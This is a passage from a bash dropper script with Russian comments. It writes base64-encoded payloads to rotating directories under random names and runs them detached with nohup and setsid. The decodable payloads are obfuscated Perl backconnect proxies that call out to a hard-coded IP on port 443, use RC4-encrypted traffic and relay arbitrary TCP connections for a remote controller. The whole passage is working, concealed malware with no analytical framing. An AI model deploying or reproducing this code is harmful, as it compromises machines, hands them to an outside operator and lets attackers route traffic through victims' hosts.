aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #38 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #38 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 39 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #39 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #39 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 40 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ 